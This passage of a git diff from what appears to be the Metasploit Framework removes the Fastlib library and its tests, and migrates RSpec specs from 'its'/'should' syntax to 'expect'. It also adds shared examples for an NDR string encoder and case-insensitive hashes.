min', + 90125 => '1 day 1 hour 2 mins 5 secs', + 31536000 => '1 year', + 31536003 => '1 year 3 secs', + 31536063 => '1 year 1 min 3 secs', + 31539600 => '1 year 1 hour', + 31622400 => '1 year 1 day', + 31626000 => '1 year 1 day 1 hour', + 31626001 => '1 year 1 day 1 hour 1 sec', + 31626060 => '1 year 1 day 1 hour 1 min', + 31626061 => '1 year 1 day 1 hour 1 min 1 sec' + } + end + + subject { described_class } + + describe ".sec_to_s" do + it "returns string encoded seconds" do + conversions.each do |k, v| + expect(subject.sec_to_s(k)).to eq(v) + end + end + end + + describe ".str_to_sec" do + it "returns seconds from encoded string" do + conversions.each do |k, v| + expect(subject.str_to_sec(v)).to eq(k) + end + end + + context "when invalid encoded string" do + let(:invalid) { 'invalid' } + it "returns 0" do + expect(subject.str_to_sec(invalid)).to eq(0) + end + end + + context "when incorrect pluralization" do + let(:invalid) { '1 years 1 days 2 hour 1 min 1 secs' } + it "returns correct number of seconds" do + expect(subject.str_to_sec(invalid)).to eq(31629661) + end + end + end +end diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 4c67ecebb3ff..7d46bb0ee0ef 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -2,7 +2,6 @@ load Metasploit::Framework.root.join('msfcli').to_path -require 'fastlib' require 'msfenv' require 'msf/ui' require 'msf/base' diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 7271ff3ee5d6..304de16aa0e1 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -188,9 +188,9 @@ def dummy_apt_pathname context "in an apt installation" do let(:msfbase_dir) { dummy_apt_pathname } - its(:apt?) { should == true } - its(:binary_install?) { should == false } - its(:git?) { should == false } + it { expect(subject.apt?).to be_truthy } + it { expect(subject.binary_install?).to be_falsey } + it { expect(subject.git?).to be_falsey } context "#validate_args" do before(:each) do @@ -199,22 +199,22 @@ def dummy_apt_pathname context "with no args" do let(:args) { [] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-remote" do let(:args) { ['--git-remote', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --git-branch" do let(:args) { ['--git-branch', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --offline-file" do let(:args) { ['--offline-file', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end end @@ -241,9 +241,9 @@ def dummy_apt_pathname context "in a binary installation" do let(:msfbase_dir) { dummy_install_pathname } - its(:apt?) { should == false } - its(:binary_install?) { should == true } - its(:git?) { should == false } + it { expect(subject.apt?).to be_falsey } + it { expect(subject.binary_install?).to be_truthy } + it { expect(subject.git?).to be_falsey } context "#validate_args" do before(:each) do @@ -252,22 +252,22 @@ def dummy_apt_pathname context "with no args" do let(:args) { [] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-remote" do let(:args) { ['--git-remote', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --git-branch" do let(:args) { ['--git-branch', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --offline-file" do let(:args) { ['--offline-file', 'foo'] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end end @@ -294,9 +294,10 @@ def dummy_apt_pathname context "in a git installation" do let(:msfbase_dir) { dummy_git_pathname } - its(:apt?) { should == false } - its(:binary_install?) { should == false } - its(:git?) { should == true } + it { expect(subject.apt?).to be_falsey } + it { expect(subject.binary_install?).to be_falsey } + it { expect(subject.git?).to be_truthy } + context "#validate_args" do before(:each) do @@ -305,22 +306,22 @@ def dummy_apt_pathname context "with no args" do let(:args) { [] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-remote" do let(:args) { ['--git-remote', 'foo'] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-branch" do let(:args) { ['--git-branch', 'foo'] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --offline-file" do let(:args) { ['--offline-file', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 5237d083814c..26d87fe257cb 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -22,14 +22,25 @@ FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/' +# Load the shared examples from the following engines +engines = [ + Metasploit::Concern, + Rails +] + # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. -Dir[Rails.root.join('spec', 'support', '**', '*.rb')].each do |f| - require f +engines.each do |engine| + support_glob = engine.root.join('spec', 'support', '**', '*.rb') + Dir[support_glob].each { |f| + require f + } end RSpec.configure do |config| - config.mock_with :rspec + config.mock_with :rspec do |mocks| + mocks.yield_receiver_to_any_instance_implementation_blocks = true + end # Run specs in random order to surface order dependencies. If you find an # order dependency and want to debug it, you can fix the order by providing diff --git a/spec/support/shared/examples/hash_with_insensitive_access.rb b/spec/support/shared/examples/hash_with_insensitive_access.rb new file mode 100644 index 000000000000..f2821796a403 --- /dev/null +++ b/spec/support/shared/examples/hash_with_insensitive_access.rb @@ -0,0 +1,21 @@ +shared_examples_for "hash with insensitive keys" do + it "should store with insensitive key" do + subject["asdf"] = "foo" + subject["ASDF"] = "bar" + + subject["asdf"].should == "bar" + subject["ASDF"].should == "bar" + end + it "should fetch with insensitive key" do + subject["foo"] = "bar" + + subject["foo"].should == "bar" + subject["Foo"].should == "bar" + subject["FOo"].should == "bar" + subject["FOO"].should == "bar" + subject["fOO"].should == "bar" + subject["fOo"].should == "bar" + subject["FOo"].should == "bar" + subject["Foo"].should == "bar" + end +end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index fb2d1c4f38f3..d9884c443289 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -403,10 +403,10 @@ def module_info_by_path_from_database! module_info_by_path_from_database! end - its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } - its([:parent_path]) { should == parent_path } - its([:reference_name]) { should == reference_name } - its([:type]) { should == type } + it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) } + it { expect(subject[:parent_path]).to eq(parent_path) } + it { expect(subject[:reference_name]).to eq(reference_name) } + it { expect(subject[:type]).to eq(type) } end context 'typed module set' do diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 4fd53c25d27b..7c492100ed07 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -42,7 +42,7 @@ tempfile.unlink File.exist?(module_path).should be_falsey - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end it 'should return true if modification time does not match the cached modification time' do diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index 72dc8b93d448..dc24b4c9869c 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -14,33 +14,6 @@ def module_paths end end - context 'with Fastlib archive' do - it 'should raise an ArgumentError unless the File exists' do - file = Tempfile.new(archive_basename) - # unlink will clear path, so copy it to a variable - path = file.path - file.unlink - - File.exist?(path).should be_falsey - - expect { - module_manager.add_module_path(path) - }.to raise_error(ArgumentError, "The path supplied does not exist") - end - - it 'should add the path to #module_paths if the File exists' do - Tempfile.open(archive_basename) do |temporary_file| - path = temporary_file.path - - File.exist?(path).should be_truthy - - module_manager.add_module_path(path) - - module_paths.should include(path) - end - end - end - context 'with directory' do it 'should add path to #module_paths' do Dir.mktmpdir do |path| @@ -49,19 +22,6 @@ def module_paths module_paths.should include(path) end end - - context 'containing Fastlib archives' do - it 'should add each Fastlib archive to #module_paths' do - Dir.mktmpdir do |directory| - Tempfile.open(archive_basename, directory) do |file| - module_manager.add_module_path(directory) - - module_paths.should include(directory) - module_paths.should include(file.path) - end - end - end - end end context 'with other file' do diff --git a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb b/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb deleted file mode 100644 index f0f5b0582eae..000000000000 --- a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -*- coding:binary -*- -shared_examples_for 'Msf::Modules::Loader::Archive#read_module_content' do - it 'should be able to read the module content' do - archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name) - unarchived_module_content = '' - - File.open(unarchived_path) do |f| - unarchived_module_content = f.read - end - - unarchived_module_content.should_not be_empty - archived_module_content.should == unarchived_module_content - end -end diff --git a/spec/support/shared/examples/options.rb b/spec/support/shared/examples/options.rb index 83068b6116e9..da2f7031c0e7 100644 --- a/spec/support/shared/examples/options.rb +++ b/spec/support/shared/examples/options.rb @@ -34,8 +34,8 @@ subject.normalize(valid_value).should == normalized_value subject.valid?(valid_value).should be_truthy } - if vhash[:pending] - pending(vhash[:pending], &block) + if vhash[:skip] + skip(vhash[:skip], &block) else block.call end @@ -48,8 +48,8 @@ invalid_value = vhash[:value] it "should not be valid: #{invalid_value}" do block = Proc.new { subject.valid?(invalid_value).should be_falsey } - if vhash[:pending] - pending(vhash[:pending], &block) + if vhash[:skip] + skip(vhash[:skip], &block) else block.call end diff --git a/spec/support/shared/examples/rex/encoder/ndr/wstring.rb b/spec/support/shared/examples/rex/encoder/ndr/wstring.rb new file mode 100644 index 000000000000..75d79587cbea --- /dev/null +++ b/spec/support/shared/examples/rex/encoder/ndr/wstring.rb @@ -0,0 +1,18 @@ +shared_examples_for "Rex::Encoder::NDR.wstring" do + let(:string) { "ABCD" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq(string.length + 1) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq(string.length + 1) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(24) + end +end diff --git a/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb b/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb new file mode 100644 index 000000000000..49dc812aba45 --- /dev/null +++ b/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb @@ -0,0 +1,39 @@ +shared_examples_for "Rex::Encoder::NDR.wstring_prebuild" do + context "when 2-byte aligned string length" do + let(:string) { "A\x00B\x00C\x00" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq(string.length / 2) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq(string.length / 2) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(20) + end + end + + context "when 2-byte unaligned string length" do + let(:string) { "A\x00B\x00C" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq((string.length + 1) / 2) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq((string.length + 1) / 2) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(20) + end + end +end \ No newline at end of file diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index ee47300ebbfa..a063c980b025 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -2,7 +2,6 @@ load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path -require 'fastlib' require 'msfenv' require 'msf/base' diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index 11624df3193d..a3250f38559a 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -2,7 +2,6 @@ load Metasploit::Framework.root.join('tools/virustotal.rb').to_path -require 'fastlib' require 'msfenv' require 'msf/base' require 'digest/sha2' diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb index 429b56f95c83..c65d46c7bd5c 100644 --- a/test/tests/test_encoders.rb +++ b/test/tests/test_encoders.rb @@ -11,7 +11,6 @@ $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) -require 'fastlib' require 'msfenv' require 'msf/base' diff --git a/tools/cpassword_decrypt.rb b/tools/cpassword_decrypt.rb index 24439fc50edc..613edc8cb324 100755 --- a/tools/cpassword_decrypt.rb +++ b/tools/cpassword_decrypt.rb @@ -38,7 +38,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' require 'rex' diff --git a/tools/exe2vba.rb b/tools/exe2vba.rb index e40912dfc6a5..28f23c3acf91 100755 --- a/tools/exe2vba.rb +++ b/tools/exe2vba.rb @@ -14,7 +14,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exe2vbs.rb b/tools/exe2vbs.rb index b4b54df1bb18..bf7918a9e55d 100755 --- a/tools/exe2vbs.rb +++ b/tools/exe2vbs.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/find_badchars.rb b/tools/find_badchars.rb index 545c5fa08c1a..c26f3127b7f4 100755 --- a/tools/find_badchars.rb +++ b/tools/find_badchars.rb @@ -14,7 +14,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/halflm_second.rb b/tools/halflm_second.rb index 393158937371..cc3a83bd0e9d 100755 --- a/tools/halflm_second.rb +++ b/tools/halflm_second.rb @@ -16,7 +16,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/hmac_sha1_crack.rb b/tools/hmac_sha1_crack.rb index 55032893e2e2..87ef46d20aa8 100755 --- a/tools/hmac_sha1_crack.rb +++ b/tools/hmac_sha1_crack.rb @@ -16,7 +16,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/list_interfaces.rb b/tools/list_interfaces.rb index 174b42d73d38..d792bf2e9c12 100755 --- a/tools/list_interfaces.rb +++ b/tools/list_interfaces.rb @@ -15,7 +15,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/lm2ntcrack.rb b/tools/lm2ntcrack.rb index 7e24904febe9..28a3e6f70169 100755 --- a/tools/lm2ntcrack.rb +++ b/tools/lm2ntcrack.rb @@ -14,7 +14,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/metasm_shell.rb b/tools/metasm_shell.rb index c2610105b3ec..4ef10303538f 100755 --- a/tools/metasm_shell.rb +++ b/tools/metasm_shell.rb @@ -21,7 +21,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_author.rb b/tools/module_author.rb index 13de30214914..8deefe6fcd1f 100755 --- a/tools/module_author.rb +++ b/tools/module_author.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_changelog.rb b/tools/module_changelog.rb index 98e8ace0f07d..fb2df57b853c 100755 --- a/tools/module_changelog.rb +++ b/tools/module_changelog.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_count.rb b/tools/module_count.rb index 1e81a3298928..4a6740dd5c95 100755 --- a/tools/module_count.rb +++ b/tools/module_count.rb @@ -8,7 +8,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_disclodate.rb b/tools/module_disclodate.rb index b6a0715a2254..60f322a68402 100755 --- a/tools/module_disclodate.rb +++ b/tools/module_disclodate.rb @@ -12,7 +12,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_license.rb b/tools/module_license.rb index 86011fda47f1..5ac9df31d906 100755 --- a/tools/module_license.rb +++ b/tools/module_license.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_mixins.rb b/tools/module_mixins.rb index c9e8004177f3..80426f2db120 100755 --- a/tools/module_mixins.rb +++ b/tools/module_mixins.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_payloads.rb b/tools/module_payloads.rb index 1f1c19a5d5bd..a801805a1d30 100755 --- a/tools/module_payloads.rb +++ b/tools/module_payloads.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_ports.rb b/tools/module_ports.rb index 39048f2b57e9..c3ec02f4eb25 100755 --- a/tools/module_ports.rb +++ b/tools/module_ports.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_rank.rb b/tools/module_rank.rb index 3c0c1357d2c5..1d199d8e0da1 100755 --- a/tools/module_rank.rb +++ b/tools/module_rank.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_reference.rb b/tools/module_reference.rb index 4f4d2c50ac7a..ed3271bd9122 100755 --- a/tools/module_reference.rb +++ b/tools/module_reference.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_targets.rb b/tools/module_targets.rb index 90712c87bc58..787655379838 100755 --- a/tools/module_targets.rb +++ b/tools/module_targets.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/msf_irb_shell.rb b/tools/msf_irb_shell.rb index 46f9575d15aa..02ae39148a2e 100755 --- a/tools/msf_irb_shell.rb +++ b/tools/msf_irb_shell.rb @@ -10,7 +10,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/msftidy.rb b/tools/msftidy.rb index c0422aef11ed..2759585f0658 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -177,8 +177,6 @@ def check_ref_identifiers warn("milw0rm references are no longer supported.") when 'EDB' warn("Invalid EDB reference") if value !~ /^\d+$/ - when 'WVE' - warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ when 'US-CERT-VU' warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ when 'ZDI' @@ -194,8 +192,6 @@ def check_ref_identifiers warn("Please use 'MSB' for '#{value}'") elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// warn("Please use 'EDB' for '#{value}'") - elsif value =~ /^http:\/\/www\.wirelessve\.org\/entries\/show\/WVE\-/ - warn("Please use 'WVE' for '#{value}'") elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// warn("Please use 'US-CERT-VU' for '#{value}'") end diff --git a/tools/nasm_shell.rb b/tools/nasm_shell.rb index 850bda115415..e3fc10e53f1f 100755 --- a/tools/nasm_shell.rb +++ b/tools/nasm_shell.rb @@ -15,7 +15,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/pack_fastlib.sh b/tools/pack_fastlib.sh deleted file mode 100755 index d81a8f11c961..000000000000 --- a/tools/pack_fastlib.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh - -mkdir fastlib-archived -./lib/fastlib.rb store modules.fastlib 12345603 modules/ modules/* -./lib/fastlib.rb store lib/metasploit.fastlib 12345603 lib lib/msf/ lib/rex* -mv lib/msf lib/rex* modules/ fastlib-archived diff --git a/tools/pattern_create.rb b/tools/pattern_create.rb index b177bd221953..540e54656866 100755 --- a/tools/pattern_create.rb +++ b/tools/pattern_create.rb @@ -10,7 +10,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/pattern_offset.rb b/tools/pattern_offset.rb index 6cd69bf79f24..ff13d8ce4f8d 100755 --- a/tools/pattern_offset.rb +++ b/tools/pattern_offset.rb @@ -8,7 +8,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/payload_lengths.rb b/tools/payload_lengths.rb index 06ac4d24f85c..7a30e1dff061 100755 --- a/tools/payload_lengths.rb +++ b/tools/payload_lengths.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/psexec.rb b/tools/psexec.rb index 1e6d152d915f..290cf14ae9d1 100755 --- a/tools/psexec.rb +++ b/tools/psexec.rb @@ -10,7 +10,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/reg.rb b/tools/reg.rb index 63880edd5d27..dbb764e9838e 100755 --- a/tools/reg.rb +++ b/tools/reg.rb @@ -13,7 +13,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/virustotal.rb b/tools/virustotal.rb index 16fe01fd8097..9834a4c65d13 100755 --- a/tools/virustotal.rb +++ b/tools/virustotal.rb @@ -34,7 +34,6 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' require 'rex' require 'msf/core'